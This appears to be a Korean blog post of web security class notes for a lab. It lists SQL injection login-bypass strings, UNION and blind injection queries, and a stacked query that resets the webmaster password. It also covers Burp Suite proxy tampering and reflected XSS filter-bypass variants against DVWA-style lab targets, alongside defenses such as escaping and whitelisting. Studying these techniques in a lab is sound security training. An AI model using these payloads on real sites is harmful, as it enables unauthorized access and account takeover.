본문 바로가기

등등/웹 보안

웹 보안 - 2일차

* 실습 파일 다운로드

  ha.do/4vx   (16.windows Server 2003.zip )

 

 

* 복습

* SQL 인젝션의 기본 원리

- 논리적으로 참이 되도록 해야 함   false or true = true

  ---> 앞부분이 패스워드일 경우, 패스워드를 몰라도 결과가 참이되도록 만드는 방법

- 주석 처리

     오라클, MS-SQL은 주석으로 --을 사용

     MySQL, MariaDB는 주석으로 #을 사용

     HTML은 주석으로    //을 사용

- 중첩문을 사용하는 방법

     앞의 SQL문과 뒤의 SQL문이 서로 다르면 ;을 사용해서 끝내고 새로운 SQL문을 작성하면 됨

     SELECT문을 두개를 사용할 수 있음 ------> UNION으로 연결 (UNION의 기능은 합집합----> 같이 보여줌)

     UNION을 사용할 경우, 앞의 SELECT문과 뒤의 SELECT문에서 요구하는 컬럼의 개수는 같아야 함

 

* MySQL, MariaDB

- DB를 운영하는 DB가 있음  ----> 스키마  :  information_schema (DB의 모든 정보를 저장하는 MetaDB)

- 여러 테이블이 있음

     DB에 대한 정보는 table_schema에 있음,  select문에서 database()를 사용해도 됨

     Table에 대한 정보는 tables라는 테이블의 table_name이라는 컬럼에 들어있음

     Column에 대한 정보는 columns라는 테이블의 column_name이라는 컬럼에 들어있음

 

 로그인 할 때의 SELECT문(예시) :  select  id,pw  from  member  where  id='     ' and  pw='      ';

 

* SQL 인젝션에 사용하는 구문

  ' or 1=1 --

  ' or 2>1 --

  ' or 'A'<'B' --

  ' or 'a'='a'  --                 //  '를 홀수개로 사용하면 짝이 맞지 않으므로 주석처리를 해주어야 함

  ' or 'a'='a                      //  '를 짝수개로 사용하면 짝이 맞으므로 주석이 필요 없음

 

* UNION을 사용한 중첩문 SQL 공격

    ' union  select  null  #                    

select  id,pw  from  member  where  id='' union  select  null  #' and  pw='      ';            // 컬럼 개수 불일치 (different number of columns)

select  id,pw  from  member  where  id='' union  select  null,null  #' and  pw='      ';       // 컬럼 개수 일치

 

------> DB정보, Table이름, Column이름 등을 모두 알아내서 새로운 SQL문을 만들 수 있음

 

웹브라우저 주소창에

http://10.42.3.209

 

윈도우 탐색기 주소창에 (윈도우 파일 폴더 공유 : SMB)

\\10.42.3.209

 

* SQL인젝션 : SQL문이 참이 되도록 만들어서 SQL문이 실행되도록 하는 것이 목적

* Blind SQL인젝션 : Target DB에 대한 정보가 없는 상태에서 SQL문을 거짓이 되도록 만들면 오류메시지 또는 다른 반응을 토대로 DB에 대한 정보를 알아내는 것 ----> DB이름, Table이름, Column이름 등을 알아냄 ---> 새로운 SELECT문을 만듦

 

Quiz) 소개팅을 영어로 하면?  blind date

 

* 표준 문서 체계

1) SGML (Standard Generalized Markup Language)

- 미국방부에서 제공하는 문서 형식으로 만들라고 제시함 (형식 : SGML)

- 작성하기가 까다로와서 문서 작성하는 담당자가 따로 있어야 함 (복잡, 어려움)

 

2) HTML

- Sir.팀버너스리가 SGML을 단순화해서 만든 것이 HTML

- 이미지, Text, Hypertext 등을 표시 (너무 단순)

 

3) XML

- "내용과 형식을 분리" -----> 변경 내용이 있을 때는 내용만 바꾸면 됨 (형식은 기존의 것을 그대로 사용)

- 보편적으로 많이 사용   ppt ---> pptx,   doc ---> docx,  xls ---> xlsx,   hwp ---> hwp (~형식, ~형식)

    (뒤에 붙은 x는 xml의 x임, File Signature는 PK로 변경됨 : 50 4B)

 

* HTTP 에러

- 400번대 에러 : 클라이언트의 요청이 잘 못된 경우

   401 : Unauthorized  -----> 로그인에 실패해서

   403 : Forbidden   ---->  접근하면 안되는 페이지 또는 사이트

   404 : Not Found

- 500번대 에러 : 서버쪽에서 잘못한 경우

   500 : Internal Server error  

   503 : Service Unavailable    ------> 사용자가 폭주하거나 DDoS공격을 받을 때

 

 

16.Windows 2003 Server.zip  파일 압축을 푸세요~

 

실습) 블로그에 있는 사진은 오른쪽 마우스 클릭이 제한되어 있습니다. 어떻게 하면 저장할 수 있을까요?

 

Quiz) 인스타그램에 사진을 올리면 사진의 주인(법적으로 소유 권한)은 누구인가요?

1) 사진 올린 사람

2) 인스타그램

-----> 회원가입 약관에 인스타그램이 모든 법적 소유권을 갖는다고 함

 

실습)

- VMware에서 File > Open > 2003 압축 푼 폴더에서 확장자가 vmx인 파일을 선택하고 열기

- Play Virtual Machine 클릭 (부팅), I copied it

- 로그인 : administrator / hp12345

- IP 변경

  시작 > 제어판 > 네트워크 연결 > 로컬 영역 연결 > 속성 > 인터넷 프로토콜(TCP/IP)를 선택하고 속성 클릭

     ----> 자동으로 IP주소 받기, 자동으로 DNS 서버 주소 받기 선택 ----> 확인

  확인하는 방법  cmd> ipconfig          (192.168.5.X로 나와야 함)

- Windows10(host)에서 internet explorer를 켜고 주소창에 Win2003의 IP주소를 입력

 

* 어나니머스 이미지가 보이는 경우, index.jsp의 body태그의 아래줄을 삭제하고 저장합니다.

<div style="position:absolute; left=0; top=0; Z-index=2;"><img src=anon.png></div>

 

* Internet Explorer에서 호환성 보기 설정

설정 > 호환성 보기 설정 > 추가 > 닫기

 

* Login Bypass

- 패스워드를 모르지만 로그인하는 방법 : SQL 인젝션

  select  id,pw  from  ???  where  id='         ' and pw='           ';

 

실습) webmaster 또는 아무 계정으로 로그인 하려면?

1) ID부분에 넣는 방법

  select  id,pw  from  ???  where  id='' or 1=1 --' and pw='           ';

2) PW부분에 넣는 방법

  select  id,pw  from  ???  where  id='webmaster' and pw='' or 1=1 --';                // webmaster라는 것은 게시판에서 확인

  select  id,pw  from  ???  where  id='webmaster' and pw='' or 'a'='a';

-----> superman님 어서오세요???

 

3) Webmaster라는 계정으로 로그인 하려면?

  select  id,pw  from  ???  where  id='webmaster' or 1=1 --' and pw=' ';               // True or True는 어차피 참이므로 사족(蛇足:불필요)

  select  id,pw  from  ???  where  id='webmaster' --' and pw=' ';                        // webmaster로 로그인 가능

 

* 첫번째 페이지가 아닌 다른 페이지에서 인젝션 코드를 넣으면 '아이디에 허용할 수 없는 문자가 입력되었습니다.'라고 나옴

  어떻게 하면 특수문자를 넣어서 인젝션을 할 수 있을까요?

 

* Burp Suite 다운로드

https://portswigger.net/burp           ( 또는 구글에서 'burp suite'입력)

Products 메뉴에서 community edition(무료) 선택

Go Straights to downloads

Download 클릭  (접속한 컴퓨터에 맞는 버전이 선택되어 있음, Windows10이면 64bit)

 

Sweet room(X),  Suite room(O) :  suite는 여러개가 붙어있다는 뜻 : 방+거실+서재+부엌+베란다+화장실 등등

 

* Burp Suite의 용도      

- 로컬 프록시(Local Proxy) : 클라이언트의 컴퓨터에 설치한 Proxy ----> 클라이언트의 요청을 조작할 수 있음

- 이외에도 많은 기능이 있음(suite)

- 조작이 편리, 다른 기능이 있고 등등

 

참고) 로컬 프록시의 종류 : Paros, Fiddler2, Charley, Achilles 등등

 

function login_ok()

{     

 

        var Alpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';

      var Digit = '1234567890';     

 

          // ID,Password check - 알파벳과 숫자의 조합으로, 4자에서 12자까지 가능

          if (Tcheck(loginform.userid, '아이디', Alpha + Digit, 4, 12)) return;

          if (Tcheck(loginform.passwd, '비밀번호', Alpha + Digit, 4, 12)) return;

         

          if(Tvalue(loginform.passwd,4,'비밀번호를 '))  return;

 

       

            loginform.action="login_proc.jsp";

      loginform.submit();

 

 

          return false;

}

 

* 스크립트는 클라이언트에서만 동작을 하기 때문에 클라이언트를 벗어난 패킷을 조작하면 특수문자를 넣을 수 있음

  ----> Proxy를 이용해서 특수문자를 추가

  ----> 클라이언트에서 보안을 적용하는 것은 잘못된 것이다.  = "고양이에게 생선을 맡기는 것"

 

* DOR : Direct Object Reference (직접 객체 참조)

  ---> 다운로드를 받지 못하게 하는 이미지를 직접 접근해서 다운로드 받는 것

 

참고) Proxy를 계속 켜 놓으면, 구글, 네이버 등 접속 안됨 ----> 평소에는 프락시 해제 하고 사용해야 편리함

 

 

* Blind SQL 인젝션

- DB에 대한 정보가 거의 없는 상태에서 에러를 유발시켜서 DB에 대한 정보를 알아내는 것

- 대표적인 구문:   ' having 1=1 --

  -----> 원래 having문은 앞에 group by가 있어야 함     ex)  select  ~~~~ from ~~~ group by  ~~~ having ~~~ ;

  select  id,pw  from  ??  where id='' having 1=1 --' and pw='  ';            // 에러 발생

 

* webmaster 패스워드 변경하기

  '; update  tbl_member  set  passwd='1234' where  userid='webmaster'; --

 

* Escape란?

- 특수문자가 기능을 하지 못하고 단지 문자열로서만 저장되도록 하는 기법

     ex)  2 \+ 3 \=

- 특수문자 앞에 \를 붙임  ----> 사람이 할 수 없으므로, 함수를 사용해서 자동으로 붙여지도록 함

- mysqli_real_escape_string( )는 아래 특수문자를 보면 \를 추가함

   NUL (ASCII 0), \n, \r, \, ', ", and Control-Z 를 보면 앞에 \를 추가 ----> Escape가 됨

 

* 줄바꿈

- \n (Line Feed, 한줄 내림) : 0a

- \r (carriage Return, 커서를 왼쪽으로 이동) :  0d

----> 윈도우에서는 엔터를 치면 \r\n동작,  UNIX에서는 \n만 동작함   (OLD UNIX/LINUX에서 작성한 문서는 윈도우에서 줄바꿈 안됨)

 

* Secure Coding은 Escape처리 함수 및 다양한 보안을 코드로 작성하는 방법

  ----> 처음 설계시 부터 보안을 고려해야 함 (보안이 고려된 설계)

 

* GDPR (General Data Protection Regulation) : EU의 개인정보 보호 규정 (법은 아니지만 강제성이 있고 법을 변경해야 함)

  ----> 벌금이 천문학적 (타겟: TGIFA 등 미국의 SNS 등을 노림)

  - Cookie를 개인정보로 규정

 

* Chrome 또는 Brave에서 web store를 방문

  cookie-editor (남색바탕)을 검색하여 설치하고, 상단에 고정합니다.

   ---> 설치하면 쿠키값을 보거나 조작 가능

 

 

* XSS (Cross Site Scripting)

- 스크립트를 활용하는 공격

- 서버에 스크립트를 업로드 해서 클라이언트가 방문하면 스크립트가 동작하면서 악의적인 행위를 하는 것

- 초기에는 쿠키 훔치기를 했으나 최근에는 랜섬웨어 다운로드를 유도함

 

실습) VMware에서 Metasploitable2를 실행합니다.

 

* XSS Reflected

- 스크립트를 넣어서 실행하는 것이 목적

<script>alert('I want to be rich')</script>                       // 크롬에서는 스크립트가 차단되므로 Edge, Explorer등을 이용하세요.

 

1) Low

- 그냥 실행됨

2) Medium

   hint) 오른쪽 아래에 있는 View Source를 참고하세요~

   str_replace( )함수가 <script>를 Null로 치환하고 있음.

<SCRIPT>alert('I want to be rich')</script>                      // 대문자로 변경

<Script>alert('I want to be rich')</script>

<ScRiPt>alert('I want to be rich')</script>

<scr<script>ipt>alert('I want to be rich')</script>             // 중첩시키기

<script img=x>alert('I want to be rich')</script>               // 속성을 하나 추가

<script >alert('I want to be rich')</script>                       // 공백을 추가

------> 다양한 방법으로 우회 가능하기 때문에 치환 방식은 적절한 대응방법이라고 볼 수 없음 (Blacklist 방식은 우회 가능성이 높음)

 

* 차단 방법

- Blacklist : 안되는 것을 지정하는 방법

- Whitelist : 되는 것을 지정하는 방법      ex) 방화벽

 

'등등 > 웹 보안' 카테고리의 다른 글

웹 보안 - 5일차  (0) 2022.05.12
웹 보안 - 1일차  (0) 2022.05.04